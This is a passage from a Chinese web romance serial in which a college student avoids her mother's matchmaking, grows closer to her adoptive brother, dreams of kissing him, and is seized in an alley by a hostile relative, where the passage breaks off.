果然,没出一小时时间,钟妈带着笑敲开了她的房门,“悦儿,阿扬听说你扭着脚,来看你了。” 钟卿悦皮笑肉不笑地扯了扯嘴角,被钟妈扶着下了楼。 客厅,叶承扬和钟爸相对而坐,桌上摆着他带来的礼物,和另外一束鲜花,粉色芍药搭配白色蝴蝶兰。 他的审美很好,这是钟卿悦见他两次所得到的信息。 看到她下楼,叶承扬立刻起身,目光落在她缠着弹力绷带的脚上,语气温和,“看上去已经消肿,应该很快就会恢复了。” 钟卿悦尴尬笑笑,“其实没事,就是软组织受挫。” 钟爸道:“那两天雪大,外面到处结冰,路不好走,难免摔跤。” 叶承扬点点头附和,“幸好没伤着骨头。” 钟卿悦坐在一旁听他们聊,渐渐从家常聊到工作。 她如芒刺背,想走又没法走,待着又浪费时间,便掏出手机准备求救。 给谢昱宁发了消息,半天都没等到他回复。她好奇地伸着脖子往楼上看,下楼这么久也没看到他人影,难道不在家? 她转过头轻声问身旁的钟妈,“我哥呢?” 钟妈淡淡瞥她一眼,“你哥项目有急事,去公司了。” 她应了声,心里暗叫不好,彻底没人拯救她了。 就在此时,手机微微一震,谢昱宁的消息回了过来。 [我不在家,很快回去。] 她不着痕迹往一侧沙发靠了靠,离开钟妈视线范围后才打字回复:[好,没事儿,我就是没看到你。] 她本来想求救的,看谢昱宁那么忙,便把话压了下去。 消息刚发出,就听聊天进入尾声,叶承扬提出离开,钟妈却接话道:“阿扬,晚上留下来吃饭吧。” 钟卿悦听得头皮一麻,钟妈的目的有些太明显,就是强硬撮合。但她对叶承扬没有任何想法,这个人很好很优秀,但她不心动,她也不想谈恋爱。 好在叶承扬开口回绝了,“不打扰了阿姨,我晚上还有些事情,下次再来拜访。” 钟妈没再挽留,说了几句客气话。 叶承扬起身,对着钟卿悦含笑颔首,“好好休息,早日康复。” 钟卿悦点点头,目送钟妈钟爸送他离开。 客厅里只剩她自己,她掏出手机看到谢昱宁发了不少消息。 [怎么了?有事?] [我在回家的路上。] [还好吗?] 她一直没回,谢昱宁已经很着急了,似乎怕她出事儿。 她立刻回了个表情,顿了顿,又打字过去:[哥,我想回故城。] [谢昱宁:嗯,现在?明天?] [钟卿悦:明天。] 钟妈送完叶承扬回来,看着桌上的鲜花,又看向钟卿悦,“那天的花也是阿扬送给你的吧。” “哪天?”钟卿悦装傻。 钟妈没质问下去,她拿到那束花时本就心存疑虑,今天看到包装纸上同样的标识,和钟卿悦的回答,她已经得到答案。 当天晚上钟卿悦忍着脚疼也要收拾行李,她要逃离江城,根据她的预估,如果再在江城待下去,保不齐钟妈会做些什么,趁着目前两人表面风平浪静,她离开才是最优选择。 翌日,她把要回故城的消息通知给了钟爸钟妈,钟妈面色沉静的什么都没说,反倒是钟爸打破砂锅问到底。 钟卿悦早就想到了应对的话,道:“话剧社新学期有活动,我要回去排练。” 钟爸:“还没元宵节呢,你同学们也都回学校了?” 她脸不红心不跳,“对啊。” “那你这脚也没法排练啊,再严重了。” 钟卿悦:“先剧本围读,得讨论好剧本才能开始排练,到时候我脚就好了。” 钟爸不太放心,但也没再多说话。 吃过早餐,两人便启程回故城。 车子开出庄园,她竟然又有种逃离成功的感觉,比上次更加放松自在。 看着窗外匆匆闪过的街景,她叹口气,“哥,还是我们一起生活好。” 谢昱宁微怔,“嗯?” “你不觉得吗?可以肆无忌惮地打游戏,不想吃的东西可以不做,熬夜还是早睡都没关系。” 她叹口气,“毕业不想回江城,我真的要在故城守着我的唱片店了。” 说完,她忽然侧头看向谢昱宁,手托着腮,认真地眨了眨眼睛,“哥,你会陪我吗?” 谢昱宁握着方向盘的手不自觉收紧,胸口下的心脏有些别样的悸动。 “会。”他顿了顿,没有任何犹豫,“你在哪我都陪你。” 听到这句话,钟卿悦不由得抿唇笑起来,梨涡漾在唇角,像盛满甜腻的蜜糖。 不知道为什么,谢昱宁说什么她都会无条件相信,即使是这样看似很空洞缥缈的承诺,她都觉得他一定可以做到。 回到故城,她的快乐也回来了,即使腿脚不方便,但每天仍旧很开心。 等到开学,脚也彻底恢复健康,又生龙活虎,活蹦乱跳了。 可是,让她万万没想到的是,叶承扬出现在故城。 这天她在话剧社排练,突然收到叶承扬发来的消息:[我来故城出差,钟阿姨让我给你带了果园新摘的水果,你方便吗?我给你送过去。] 又是钟妈的计策,她发现如果钟妈想针对她,她根本跑也跑不掉。 给叶承扬发了位置,她连忙从话剧社出来,走到南门时,叶承扬的车已经停在路边。 他人站在车前,穿着一件灰色大衣,里面是一身板正的西装,还是戴着那副斯文的眼镜,唇边的笑容如旧温和。 她跑过马路,惭愧地点点头,“抱歉,麻烦你了,叶先生。” 叶承扬微微一笑,“没关系,我是顺路。” 钟卿悦伸手打算接下,叶承扬犹豫道:“可能有些沉,你可以吗?我可以帮你送回去。” “不用了,司机一会儿会来接我。”钟卿悦接过保鲜盒,把另一盒又递回给他,“你也尝尝吧,庄园的草莓很好吃。” 叶承扬没有拒绝,坦然接下,“谢谢,不知道钟小姐晚上有没有时间?客户告诉我有家特色海鲜火锅味道还不错。” 钟卿悦微微一愣,感受到手上提得保鲜盒,似乎连拒绝都不好意思说出口。 沉默片刻,她点头应下,“好。” 上了叶承扬的车,钟卿悦给司机了消息不用来接她。想了想,又找出谢昱宁的聊天框。 措辞片刻,她才缓缓打出一串字:[哥,晚上不要等我吃饭了,我在外面吃。] 发出后,她又怕谢昱宁担心,又打了一句,[叶承扬来了,妈让她给我送草莓。] 彼时,故城最高写字楼顶端,谢昱宁站在窗边,望着落日余晖留下的橙黄色光芒。 身后齐乐说得话还响在耳边,“小姐在学校门口见了一位男士。” 从叶承扬出现的时候,他就已经明白钟妈的意思,他的自欺欺人骗过了自己,却无法骗过其他人。 他握紧手机,只回了一句:[注意安全,把位置发给我,有事随时给我打电话。] 熄灭屏幕,他缓缓转身,“保护好她。” 齐乐应声,“谢二爷您见吗?” 谢昱宁淡淡挑眉,“见。” 【📢作者有话说】 [狗头]稳步推进,距离谢同学黑化指日可待了! 20 第 20 章 ◎接你回家◎ 叶承扬选的是一家靠海的大排檔, 屋里人满为患,火锅咕嘟咕嘟冒得热气充斥在房间里,玻璃上都是一片白茫茫水汽。 服务员引着他们到楼上的包间, 门关上, 隔绝起嘈杂的说话声。 点了他们锅底, 叶承扬问了她的喜好和忌口, 选了特色招牌的海鲜。 服务员离开, 等待上菜的间隙,钟卿悦垂着眸子在心里措辞,她之所以答应这顿晚餐,其实另有目的。 她还未想明白,对面的叶承扬突然缓缓开口,“我有些话想跟钟小姐聊一下。” 钟卿悦茫然抬头, 投去疑惑的目光,“您请说。” 叶承扬指尖推了推眼镜,唇角微扬, 声音温和有礼, “那我开门见山,钟小姐应该也懂双方父母的意思吧,不知道是怎么看待这件事的?” 钟卿悦微怔, 显然没想到他会先开始这个话题,倒节省了她措辞的时间。 她思索片刻,认真回道:“其实我也想借机跟您聊一下。我暂时不打算恋爱, 更不会迅速结婚,所以不想因为我妈妈的一意孤行耽误叶先生的时间。” “我不觉得耽误时间。”叶承扬语气平和, 思虑着继续说道, “如果是以结婚为目的, 是需要从相识到互相了解再到恋爱,那确实是很漫长的过程。所以为什么钟小姐要从一开始就拒绝我呢?是我不符合预期吗?” 钟卿悦摇了摇头,“并不是,叶先生很优秀,也很有能力。不过婚姻于我而言太过遥远,如果遇不到喜欢的人,我永远都不会结婚。” “所以我并不是让你心动的人,对吗?” 叶承扬问得坦诚,钟卿悦也选择诚实回应。 “我坚信每个人都是略有不同的半圆形,两个人相爱一定是因为可以拼凑成一整个圆,而我们恰好形状不合适。” 叶承扬认真听着,眸子里透出对她的欣赏,“我很喜欢这个说法。” 门叩响,打断两人的对话,服务员端着铜锅走进来,身后跟着机器人,餐盘上放着他们点的菜品。 陆陆续续端上桌,服务员礼貌离开。 叶承扬将一次性围裙展开递给她,又非常绅士地为她倒满水。 锅很快开了,他将不同的菜品下进铜锅内,不疾不徐地继续说道:“既然如此,你打算怎么跟父母说清这件事?” 这也是钟卿悦目前头疼的问题,她并没有十全十美的方式。她沉默片刻,还是诚实的告诉了他。 “就像刚才跟你说的一样,我会把这些话原封不动的告诉我妈妈,但有没有效果,我不知道。” 叶承扬没有立刻接话,而是用公筷将煮熟的牛肉和海蛎子夹进了她的盘子里。 钟卿悦有些不适应,礼貌点头道谢。 他笑了笑,“那我们可以成为朋友吗?” 钟卿悦眨眨眼,“当然可以。” 叶承扬放下筷子,“既然是朋友,我想提一下我的建议。在你没有办法彻底改变父母想法之前,我们或许可以保持现状,以朋友身份相处。你还在读大学,钟阿姨也不会强迫你去恋爱结婚,我会帮你掩护,至少让你能轻松的去想对策。” “这样太麻烦你了,也是在浪费你的时间。” “不会。”叶承扬微笑,“我也有目的,我想跟你交朋友,因为我在你身上看到许多想要学习的东西。” 钟卿悦被他夸得不知道该怎么接话,抿着唇笑了笑,“谢谢,我会尽快解决。” “既然是朋友,你以后可以称呼我阿扬。” 钟卿悦点点头,“好。” 之后两人便聊起兴趣爱好,钟卿悦发现他是个谈吐极好的人,会抛接话题,也会用细节去夸赞人,但确实太过完美,挑不出任何毛病,反倒让她觉得很不真实,像戴着得体的面具。 一顿饭吃得差不多,钟卿悦也收到谢昱宁发来的消息:[吃饱了告诉我。] 她放下手里的纸巾,抿唇笑着点屏幕,[吃饱了呀。] 叶承扬看她一眼,便道:“走吧。” 与此同时,谢昱宁已经下车,朝大排档内走去。 钟卿悦下楼,转过楼梯的拐角,就看到谢昱宁不紧不慢朝她走来,手里提着糖果屋特有的粉色包装袋,手臂上还搭着她常搭配黑色大衣会戴的围巾。 她立刻笑眯眯地跑上前,在离他仅仅只剩不到半米的地方才刹住车,“哥,你怎么在这!” “接你回家。” 谢昱宁将围巾套在她脖子上,缠绕两圈后,在胸前打了个结,又细心地帮她掖了掖下巴的位置。 “走吧。”谢昱宁淡淡道。 “好呀。” 此时叶承扬也走了过来,钟卿悦看向他,笑了笑,“谢谢今晚的款待。” 叶承扬:“不客气,下次有时间再见。” 说罢,他看向谢昱宁,四目相对,谢昱宁面色平静,淡漠地点头,算是打了招呼。 钟卿悦不明所以,拉住谢昱宁的衣袖,“那我们先走啦,你也注意安全,在故城有事可以随时给我打电话。” 叶承扬笑着应了声。 走出餐厅,刺骨的寒风迅速围绕周身,她不禁缩了缩脖子,将下半部分脸都埋进围巾里。 “哥,你吃晚饭了吗?”她声音闷闷的。 “嗯,冷吗?” 钟卿悦摇摇头,“还好。” 他垂眸看着她缩在衣袖里的手,指尖露在外面一点点。 动作比脑子要快的反应过来,他握住她的手包裹进掌心,短短一会儿冰凉如水,他顺势拉着塞进衣服口袋里。 钟卿悦下意识往他身边靠了靠,身体紧紧贴着他的手臂,嘴巴不停歇地说着,“我跟叶承扬说了,我不想谈恋爱,更不想结婚,所以我们以后就是朋友,我会尽快想办法摆脱妈妈的计谋。” 谢昱宁应了声。 钟卿悦自顾自继续说道:“虽然他很好,但我不喜欢呀,我说得那些理想型,前提还是要心动嘛。” 谢昱宁收紧手掌,将她纤细柔软的指尖牢牢握着。 钟卿悦见他不讲话,玩心大起,悄咪咪拱开他的手,指尖像羽毛似的一下一下滑动在他掌心之中,甚至还能清晰触到他掌心的纹路。 “不冷了?”谢昱宁瞥她一眼,微微一用力,又将她调皮的指尖扣在手中,无法动弹。 她噘起嘴哼了一声,老实下来,“冷,怎么不冷。” 此时店内,叶承扬被告知有位先生已经买了单,他笑着点了点头,离开了餐厅。 谢昱宁的车停在不远处的停车场,他和钟卿悦就这么并肩走着。 钟卿悦不闲着,一边蹦一边跳,嘴里还哼着不知名的小曲儿。 谢昱宁拉着她,目光还要时不时盯着,生怕她再来个崴脚。 “哥,我看到了蛋糕,是我喜欢吃的吗?”说罢,她突然抽出手,转到他另一侧。 掌心一空,他虚空地握了握,没有了柔软的触感。 钟卿悦没什么察觉,她指尖正悄无声息地伸向包装袋,去勾包装袋的一角。 谢昱宁明明看到,却还是任由她调皮,“你喜欢的售罄了。” “真的?”她狐疑地眯了眯眼,立刻拉开往里瞧了一眼,熟悉的包装盒,蓝莓的点缀,“骗人,明明就有。” “既然说谎。”她清清嗓子,佯装法官的模样,“那就罚你不准吃蛋糕。” 谢昱宁无奈地勾起唇角,配合道:“那怎么才能给我一次改正的机会?” 她蹙起眉思索着,“明天再买一份,我就原谅你了。” “嗯。”谢昱宁缓慢应声,“好。” 上了车往回家的方向开去,谢昱宁突然说道:“这段时间我会接你上下课,如果我没时间,会让司机去。” 钟卿悦:“好,不过我也可以自己走回去嘛,从南门出去过一条街就到了,还挺近的。” “天气冷,路不好走,别再摔了。”谢昱宁顿了顿,看向她,又嘱咐道,“乖乖听话,知道吗?” “知道啦知道啦。” — 深夜,谢昱宁手机轻震,收到熟悉的电话。接听后,听筒里传来悠闲自得的男声,“落地江城了。” 谢昱宁倚在沙发上,慢条斯理回道:“嗯,注意安全。” 谢瑞博咂咂嘴,“妹妹怎么样?” 谢昱宁蹙起眉,“你怎么知道?” “拜托,大哥,照片圈子里人手一张了好吗?要不然谢宇谦怎么知道的?” “什么照片?” 谢瑞博:“你接人家放学,给人家开车门的照片呗。” 谢昱宁眸光沉沉,“一会发给我。” “得嘞。”谢瑞博顿了顿,“对了,爷爷身体怎么样?” 谢昱宁:“医生说最多半年。” “行,明白,来得及。” 挂断电话,谢昱宁疲倦地闭上眼睛。 片刻后,手机传来轻震,他打开一看,是谢瑞博发来的照片,不算清晰,有种倒过好几手的糊感,但能清晰辨别出他和钟卿悦的侧脸。 他盯了许久,又默默划掉照片。 — 冬天来得快,去得也快,一转眼,故城迎来了早春。 一扫冬天的阴霾,太阳明媚而温暖的悬挂在天上,温度缓慢爬升,不再是伸不出手的日子。沿街的树上长了嫩芽,迎春的枝条也挂满黄色的小花。 这天上课,路畅突然给了钟卿悦和奚乐昕两张高尔夫球场月度会员卡,两人一脸茫然,后来听她说才知道,她新学期换了兼职,去高尔夫球场当球童,完成培训后给了她两张卡,她便转赠给两人。 钟卿悦会一点高尔夫,之前跟着钟爸去玩过,但技术并不是很好。 奚乐昕则完全没接触过,对此很是好奇。 于是三人便约着周末路畅上班的时候过去玩一玩。 当天,到了高尔夫球场,钟卿悦便点了路畅当球童,算是给她开张。 在大厅等路畅开摆渡车过来时,钟卿悦居然看到一个熟悉的面孔——叶承扬。 【📢作者有话说】 [爆哭]来晚了来晚了,明天一定白天就写[爆哭] 20-30 21 第 21 章 ◎你什么时候回家?◎ “又见面了。”叶承扬远远走来, 手里提着一瓶矿泉水,镜片后的眸子温柔含笑。 钟卿悦:“你居然…还在故城?!” “是的,这边分公司比较忙, 常驻这边大约一个月了。” 叶承扬打量她的着装, 休闲宽松的运动套装, 头顶还戴着棒球帽, 青春洋溢。 “你也来打球。” 钟卿悦耸耸肩, “一半算打球,一半算打发时间吧。” 话音落,门口处走来一位中年男人,有些驼背,佝偻着身子,走起路来一摇一摆像鸭子, 不知是习惯还是身体原因。 “叶总,久等了,真不好意思。”男人急忙握住叶承扬的手, “这周末就是容易堵车。” 叶承扬微微一笑, “刘总来得刚好,我也是才到。” 被称为刘总的人爽朗一笑,余光扫到钟卿悦, “这位小姐……?” 叶承扬:“朋友,刚好碰到。” 钟卿悦不着痕迹地看了看,大概猜到是叶承扬的合作伙伴。 刘总是个人精, 视线迅速划过两人,试探开口, “那一起一起。” 叶承扬没答, 目光看向钟卿悦, 似是在寻求她的意见。 钟卿悦摇了摇头,抬手指了指门外已经在摆渡车上的奚乐昕和路畅,婉拒道:“不了,我和朋友一起来的。” 叶承扬没立刻接话,刘总眼睛一转,打算盲拍一波马屁。 他笑着看向钟卿悦,语气之中拉近距离,“我们也是两个人,正好凑一组。俗话说无巧不成书,您跟叶总没约都能碰到,这也算缘分了。” 话音落,叶承扬便温柔开口,“你可以问问你朋友。” 钟卿悦垂着眸,脑子里掠过不少想法,继而她淡然一笑,“那稍等,我去问问我朋友。” 走出大厅,奚乐昕问道:“聊完了?” 钟卿悦:“他们想跟我们一起,怎么样?” 奚乐昕无所谓地耸耸肩,“我都行,反正我也不会玩,就是凑热闹。不过看这俩人挺有钱的吧?” 钟卿悦挑眉一笑,“没错,所以我想着给路畅介绍一下,他们谈项目必定经常来,到时候路畅混个脸熟,还能有老客户。” “行行行,我觉得行。”奚乐昕连声应下。 路畅有些紧张地握紧方向盘,“卿悦,我才刚开始,怕维护不好客户。” “没事,万事开头难,况且你认真培训了那么久,我相信你!” 路畅吞了下口水,“行。” 钟卿悦折返回去跟叶承扬说了一声,刘总得知她们有了球童,便又找了一个。 一切准备就绪,四个人坐上摆渡车出发球场。 他们今天选择的是四杆洞,发球台的位置两侧种植了大面积的云杉,郁郁葱葱,入眼皆是一片清爽的绿色,景色十分漂亮。 四人依次开始发球,叶承扬和刘总都选在难度极高距离最远的黑T区发球,钟卿悦则带着奚乐昕在女生专属的红T区发球。 挥了两杆后,叶承扬和刘总地的球已经到了果岭,钟卿悦的球也停在了果岭附近,稍稍落后于两人,奚乐昕因没尝试过,距离果岭还很遥远。 从第二杆往果岭走的时候,钟卿悦点的咖啡也送了来,路畅眼疾手快拿着给刘总和叶承扬送去混眼熟。 刘总意外地接下,“送的?” 路畅忙摇头,“是同行的那位女士点的。” 刘总了然地应了声。 走到果岭附近才清晰看到两个人的球距离位置很近,刘总回头看一眼,路畅正站在不远处,他便说道:“去拿我的球标记。” 路畅立刻从随身的小包里掏出来,刘总赞赏地看了她一眼,“很细心。” 路畅礼貌地笑了笑,走上前为刘总的球进行标记。 叶承扬先推球,他双脚微微分开,眼睛聚精会神地盯了一会儿洞口,又看向自己的球,虚空挥了挥球杆,接着轻轻推球,只见球顺着地面弧度滚向洞口,却因力度稍微大了些,和洞口擦肩而过,停在了距离几米远的位置。 刘总笑了一声,“叶总今天怕是要输给我啊!” 叶承扬推了推眼镜,轻松道:“刚开始。” 轮到刘总,路畅走上前为他拿走标记,换上高尔夫球。 可刘总刚走到球边上,突然脸色一变,高声指责道:“你做得标记都划着草皮了,这让我怎么打?” 路畅一下慌了神,忙走上前查看,只见在球边上能看到有一点凸起的草皮,因为刘总的球标记是金属材质,她做标记时力度没掌握好,按压的过于深,导致拿走标记时带起了周边的草皮。 刘总趾高气昂站在原地,指着草皮,“你看看,平整的草皮变成这样,这不是增加我进球的难度?你这样怎么入职的?” 钟卿悦正在那边教奚乐昕,闻声立刻走了过来,“刘总怎么了?” 刘总摆了摆手,有些烦躁,“这球童新来的,做标记都能划着草皮,不知道眼睛干什么用的。” 叶承扬:“刘总没必要冲着球童撒气,发现了让她恢复一下就好了。” “这不耽误我们时间嘛,一会我跟他们老板说一声,别没培训好的人就往球场上送。还是扣工资扣的少,这点小活都干不明白。” 说罢,他似乎还不解气,回头对另一位球童说:“抓紧把你们经理喊过来。” 钟卿悦脸色不太好,立刻走到路畅身边,蹲下帮忙处理。 刘总见此有些迷惑,“钟小姐,让她们处理就好,我们过去那边喝点咖啡。” 钟卿悦微微偏头瞥他一眼,没说话。 路畅蹲在地上已经要哭了,手忙脚乱地按压草皮,却始终无法恢复。 钟卿悦见此,拉住她的手站起来,安慰道:“没事儿,坏了点草而已,一会让他们来维护一下,刚开始要学习的很多,总结经验下次就不会发生这样的事了。” 至此,刘总和叶承扬都已经看出两人相识,而且钟卿悦明显护着她。 叶承扬淡淡开口,“刘总还是嘴下留情吧,小姑娘刚上班也不容易。” 刘总尴尬地笑了笑,“这……我就是脾气急了点,不知道这个姑娘跟钟小姐是朋友。” 他顿了顿,“待会我赔钱,嗐,一点草皮,不耽误的。” 路畅吸吸鼻子,对着他鞠了一躬,“抱歉刘总,我工作失误,打扰您的兴致了。” “没事,没事。”刘总这会儿又开始装大度。 钟卿悦冷冷盯着他,这个人太虚伪了,看到她和路畅认识所以摆出宽容的态度,而给她面子也不过是因为她和叶承扬相熟,他有求于叶承扬而已。 不难想象,这要是个普通工作人员,今天他不得闹得把人辞退的地步。 此时另一位球童也喊来了果岭维护人员和经理,经理见惯了这样的场面,不断向刘总致歉,害怕损失客户,扬言一定会处罚路畅,让她重新培训。 刘总被架在上面,如鲠在喉,说不出来道不进去。 钟卿悦看向叶承扬,说道:“我今天先走了。” 叶承扬:“我送你。” 刘总慌了神,“叶总,不再继续了吗?” 叶承扬默默看着他,唇边还是温和的笑意,“下次吧,刘总。” 刘总着急道:“公司那个……” 叶承扬打断他的话,“工作的事情我们去公司再聊吧。” 离开球场,回到大厅,路畅没办法离开,需要接受公司的问询。 她催着钟卿悦和奚乐昕先走。钟卿悦见她非常笃定不要她们等,便决定离开。 上了叶承扬的车,钟卿悦有些抱歉,“今天好像耽误了你的工作。” “没有。本来合作也没有商定,只是来打球。不过也通过细节的事情看到了一个人的人品,不合作或许更好,不然后续还会有别的矛盾。” 钟卿悦扬起唇角,“谢谢。” “我们是朋友,比合作更重要。” 钟卿悦:“那你在故城需要帮忙也别跟我客气。” “好。” 车子开到故南大学,钟卿悦本来想下车走回家,叶承扬知道她不在寝室住,便提出送她回家。 车子停到小区门口就不让进了,她礼貌和叶承扬告别,目送他的车子离开。 刚走到家进了门,钟卿悦的手机忽然响起来,她疑惑拿起,就看到屏幕上闪烁的字——“哥哥”。 她接听,对面传来谢昱宁清冽低沉的嗓音,“回家了吗?” “哥,你该不会有千里眼吧,我刚进门你就打电话。” 谢昱宁疲倦地靠在车座上,听到她的声音难得松了口气,“嗯,确实千里眼,你在哪我都能看见。” 钟卿悦嘿嘿一笑。 谢昱宁:“今天玩得开心吗?” “还行吧,你又不是不知道,我高尔夫技术很差的。”她顿了顿,“而且你猜我遇到了谁。” 还没等谢昱宁回答,她继续自顾自说道:“我遇到了叶承扬,他和合作伙伴,本来我好心想给路畅介绍客户的,就跟他们一起打。” 她像只小鸟,叽叽喳喳地不停跟谢昱宁说着今天所见所闻。 谢昱宁阖眸听着,耳边全身她的声音,脑海中能浮现出她说话时的表情,漾在唇边的梨涡和偶尔生气时鼓得像包子的脸。 一股脑说完,钟卿悦喘了口气,总结道:“今天一点都不好玩。” 谢昱宁缓缓睁开眸子,眸底多了一丝笑意。 钟卿悦:“哥,你什么时候回家呀?你回来时能不能给我带唱片店对过那家绿豆饼呀?” “想吃了?” “对呀对呀,你可快一点。” 谢昱宁:“待会让齐乐送去。” 钟卿悦蹙起眉,疑惑问道:“都快吃晚饭了,你还不回家吗?” “我需要回一趟江城,这段时间没办法陪你。” “哦。”钟卿悦了然,失望道,“好吧,那你什么时候回来?” 谢昱宁垂下眸子,指尖点着膝盖,“我会尽快。” “好,那我等你。” — 从那天后,钟卿悦将近半个月的时间没见到谢昱宁。 偶尔他会给她打电话,询问她的近况,也会让齐乐送她喜欢吃的东西。 可是,就是不见他的人。 起初钟卿悦认为他工作忙,可是渐渐的,她心里就犯起嘀咕,因为谢昱宁从来没离开故城那么长时间过。她总隐隐不安心,又说不出原因,有时静下来时会联想到他曾经受的伤,总怕他又陷入危险之地。 这天晚上,她躺在床上,辗转难眠,盯着床头的夜灯,昏黄灯光下能看到灰尘飞扬起舞。 她若有所思地伸手去摸手机,碰到屏幕后指尖轻点两下,又犹豫地缩回手。 她想给谢昱宁打电话,问他什么时候回家。可是又怕那么晚,他已经睡觉了。 反复摸了几次手机后,她强迫自己放下念头,抱着被子侧过身睡觉。 不知数了多少只羊后,她渐渐沉入梦乡。 朦胧间,她感觉谢昱宁回来了。 她从睡梦中醒来,下床穿上拖鞋去找,推开卧室门,看到谢昱宁站在门口,穿着一身正装,搭配的领带是她买给他的那条。 他唇角带着淡淡的笑意,伸手摸着她的发顶,掌心的温度透过发丝传遍全身。 她只觉微痒,缩了缩脖子。 “哥,你怎么才回来?”话出口,带着撒娇的意味。 谢昱宁将她脸侧的碎发别到耳后,“抱歉,答应你很快的。” 钟卿悦往前走了一步,离他更近了些,指尖拽着他的衣角,“没关系,我会原谅你的。” 谢昱宁勾起唇角,伸手握住她的手,“饿了吗?想吃什么?” 她眯了眯眼睛,能清晰感受到指尖传来他肌肤的温热,紧密无缝的包裹着她的手。 “嗯,想吃牛肉面。” 谢昱宁:“那我们去超市买牛肉?” “家里没有了吗?我怎么记得徐阿姨昨天还给我炖牛腩吃。” 谢昱宁:“没有了,徐阿姨今天请假了,冰箱里很干净,我们需要去采购。” “好啊!”她调皮地扣着他掌心,“那我换衣服,你等我。” 【📢作者有话说】 [可怜][可怜]又又又又晚了,呜呜呜 22 第 22 章 ◎梦◎ “等?*? 等。” 谢昱宁收拢手掌, 牢牢握着她的手,往怀里轻轻一带,阻止她离开的动作。 钟卿悦顺势朝他踉跄一步, 两人之间的距离骤然缩短, 呼吸间充斥着他身上清冽的雪松气息。 她慌张地眨眨眼, “怎么了?” 谢昱宁没说话, 望着她的眸子讳莫如深, 眼底如有流光涌动,沉重浓墨,难以解析含义。 仅仅只是对视十几秒,她的心脏已经不受控地加速跳动起来,仿佛要从胸口蹦出来。 她感觉到要发生些什么,但无法冷静的抽丝剥茧出细节。 下一秒, 谢昱宁突然俯身靠近她,立体深邃的面容贴近。她呼吸一滞,下意识闭上眼睛。 接着, 温热柔软的唇贴上她的唇瓣, 带着他独有的气息。 他的手绕过她的后腰,将她带进怀中,两具身体紧密贴合在一起, 隔着衣服布料都能感受到彼此的体温。 钟卿悦仰头回应他的吻,唇齿研磨拉扯,不知疲倦地品尝无比珍贵的食物, 温柔缱绻。 只消片刻,钟卿悦便觉好热。他的体温像滚烫燃烧的火苗, 从唇烧到脖颈再到耳根。 她身子不自觉颤抖战栗, 想推开他去寻找清凉的地方, 他却像八爪鱼似的,手臂缠绕的更紧,仿佛要把她嵌入身体里。 他压抑的低喘响起,唇再次靠近她的唇,缓慢含住吸吮,她不受控地哆嗦一下,瞬间抽空所有的力气。 悠扬的钢琴曲渐明,欢快清朗的节奏将她从梦中唤醒。 她猛然睁开眼睛,呆愣地看着明亮的天花板。 做梦了。 心跳如擂鼓充斥在耳边,身上黏着一层薄汗,压在身上的被子好似千斤重,将她强制拉回梦境中。 她喘息着掀开被子透气,闭上眼又想起那个梦,真实的像是刚刚经历了一般。 她蜷缩起身子,将头埋在手臂间,怎么会做这样的梦,重点是梦里的主人公居然是她哥! 脸一阵燥热,又激起一身汗意。 她迅速从床上爬起,好似离开床铺就能和那场梦划清界限。 冲进洗手间洗了把脸,擦干水滴,钟卿悦盯着镜子里的自己,脸颊仍有潮红,下眼睑仿佛哭过似的,红的甚是明显。 她闭上眼睛晃了晃脑袋,“梦梦梦,都是梦!梦见这个不说明什么的,一定是睡觉前想了太多他的事。” 一阵洗脑后,她呼吸才逐渐平缓许多。 洗漱完下楼,她还是下意识在客厅里张望,想着会不会看到熟悉的身影。 徐阿姨在餐厅忙碌,看到她后,笑道:“小姐,吃早饭吧。” “啊,嗯。”她心不在焉地应了声,转身往餐厅走去,“阿姨,我哥没回来吧?” “先生没回来。” 得到肯定的答案,她若有所思地垂下眼皮。 吃过早饭去上课,结果一上午都精神恍惚,盯着老师的脸,脑子却放空,不知道在想些什么。 临下课,路畅碰了碰她的胳膊,低声道:“中午一起吃饭吗?” 钟卿悦茫然回神,“嗯?什么?” “你怎么了卿悦,看上去脸色不太好。” 钟卿悦摇摇头,揉了揉隐隐作痛的太阳穴,“没事,昨晚没睡好。” “熬夜了?” “没……” 路畅:“嗯嗯,不要熬夜,对身体不好。” “没事。”钟卿悦笑了笑,“你刚刚问我什么?我没听清。” “我本来问你要不要去吃饭,但现在我觉得你还是回家吧,中午还能补觉。” “我也不困,就是精神不太好。” 钟卿悦心里清楚,她不是睡眠不足,只是做得梦太抽象。 路畅:“那你要去西街那家面馆吗?我想吃面了。” 面馆……面……本来真的挺想吃牛肉面的。 钟卿悦闭了闭眼睛,又想到不该想到的。 她忙摇头,“不了不了,我不太想吃面,你去吧,我们改天一起。” “嗯嗯,好吧。” 下了课,她和路畅分道扬镳。走出校门,却没看到熟悉的车子在等她,她掏出手机,给司机打电话询问情况,可拨通后一直无人接听。 在门口又等了几分钟,也不见车影,她怀疑司机可能忘了,于是打算走回家。 横过马路,拐进一条老旧狭窄的小巷子,穿过巷子便到了小区门口那条街。 她一边低着头看手机一边悠闲往前走。 突然,身侧投下一片阴影,遮挡住太阳照射来的光线,她下意识停住脚步,还没来得及抬眼去看,手机突然被抽走,手腕上多了一双有力的手,其中一只手的手背上还有一道明显的伤疤。 她慌张抬头,不是陌生人,是谢宇谦。 “你干嘛?”她挣扎着想要甩开束缚,他却力道极大,不回头地拉着她往路边的车子走去。 “跟我走。”谢宇谦声音里含着浓烈的恨意。 钟卿悦拼进全力往后退着,奈何两人体型相差太大,她的力气根本不敌,被他不断扯着踉跄往前,“我不认识你,放开我,你是不是有病?” “闭嘴,我倒要看看谢昱宁能撑多久。” 听到谢昱宁的名字,她心里一凉,“我哥怎么了?” “他……”谢宇谦咧嘴一笑,表情变得有些狰狞,“你猜呢?” 钟卿悦晃神,后背一阵发麻,不祥的预感充斥全身。看她走神,谢宇谦笑得更加开怀,他反手将她的手扣在背后,抵着她的肩膀将她往车子方向推去。 她奋力挣扎,一边蹲下身体往下坠着去和他抗衡,一边高声喊道:“救命,救命。” 巷子很僻静,没有几家住户,更没有来往的人,她的呼救根本起不到任何作用。 谢宇谦没什么耐心,手上加重力道控制住她,另一只手捂住她的嘴,咬牙切齿道:“老实点。” “唔……”钟卿悦晃动着身体,空闲的手去扒他的手,却纹丝不动。 眼看着被谢宇谦逼到车前,她眼底蕴起一层雾气,如果被带走就完了。 她放弃获得声音,转手扒住靠墙的电线杆试图借力。 谢宇谦见此,加大力度,用力抵着她的后背往前推去。 她拼命扣着电线杆,指腹摩擦砂石,指甲扣着粗粝的凸起,刺痛感传遍手掌,她咬住下唇忍着,冷汗瞬间冒出,生理性的泪水滑出眼眶。 “够牙硬的。” 谢宇谦冷冷一笑,放开捂她的嘴,反手就要去拉她的手。 